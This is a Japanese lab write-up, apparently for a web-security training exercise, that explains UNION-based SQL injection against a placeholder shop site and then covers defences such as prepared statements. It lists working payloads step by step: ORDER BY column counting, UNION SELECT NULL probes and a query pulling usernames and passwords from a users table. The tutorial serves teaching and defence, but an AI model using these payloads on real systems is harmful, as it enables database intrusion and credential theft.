Hello there, ('ω')ノ
UNION
を利用したSQLインジェクション攻撃を成功させるには、以下の 2つの条件 を満たす必要があります。
UNION
に結合するクエリのカラム数が一致していること- データ型が互換性を持っていること
このラボでは、これらの条件を満たすために カラム数の特定 と 適切なデータ型の特定 を行い、最終的に機密データを取得する方法を解説します。
🎯 攻撃の手順
1️⃣ カラム数を特定する
まず、ORDER BY
を使用して、もともとの SELECT
文が 何列のデータを取得しているか を確認します。
カラム数を調べるテスト
https://insecure-website.com/products?category=Gifts' ORDER BY 1--
https://insecure-website.com/products?category=Gifts' ORDER BY 2--
https://insecure-website.com/products?category=Gifts' ORDER BY 3--
... エラーが発生する直前の数値 が、元のクエリのカラム数になります。
✅ 例: ORDER BY 3--
でエラーが出たら、カラム数は 2 であると判明。
2️⃣ UNION SELECTでカラムに値を出力
次に、UNION SELECT
を利用して、どのカラムがデータを表示できるか を確認します。
テスト用のペイロード
https://insecure-website.com/products?category=Gifts' UNION SELECT NULL, NULL--
→ エラーが出た場合:
カラム数が足りていないため、NULL
の数を増やして試す。
✅ 成功例(カラム数が2のケース)
https://insecure-website.com/products?category=Gifts' UNION SELECT 'test', NULL--
このペイロードを試したとき、"test" という文字列がページ上に表示されるなら、そのカラムは TEXT
型でデータを出力できる。
3️⃣ データを取得する
カラムの種類が分かったら、users
テーブルから機密情報を取得する。
管理者ユーザー名とパスワードを取得
https://insecure-website.com/products?category=Gifts' UNION SELECT username, password FROM users--
結果:
管理者の username
と password
が表示される可能性がある。
✅ ポイント:
- NULL
を適切なデータ型に変更する
- username, password
のカラムがあることを仮定して試す
🛡 SQLインジェクション UNION攻撃の防御策
1️⃣ プリペアドステートメントを使用する
ユーザー入力を直接SQLクエリに含めず、バインド変数 を使用する。
$stmt = $pdo->prepare("SELECT name, description FROM products WHERE category = ?"); $stmt->execute([$category]);
2️⃣ ユーザー入力のバリデーションを行う
- 許可リスト(ホワイトリスト)を使用し、指定された値のみ受け付ける
UNION
,SELECT
,--
,'
などのSQL構文をフィルタリング
3️⃣ エラーメッセージを隠す
SQLエラーをユーザーに表示せず、汎用的なエラーメッセージを返す。
✅ まとめ
🎯 攻撃の流れ
1. ORDER BY
でカラム数を特定
2. UNION SELECT NULL, NULL--
を試し、適切なカラムを見つける
3. UNION SELECT username, password FROM users--
で機密情報を取得
🛡 防御策
✅ プリペアドステートメントを使用する
✅ 入力値のバリデーションを行う
✅ エラーメッセージを隠す
SQLインジェクション UNION攻撃は、データベースの中身を盗み出す強力な手法 です。
しっかりと対策を講じ、アプリケーションのセキュリティを強化しましょう! 🚀
Best regards, (^^ゞ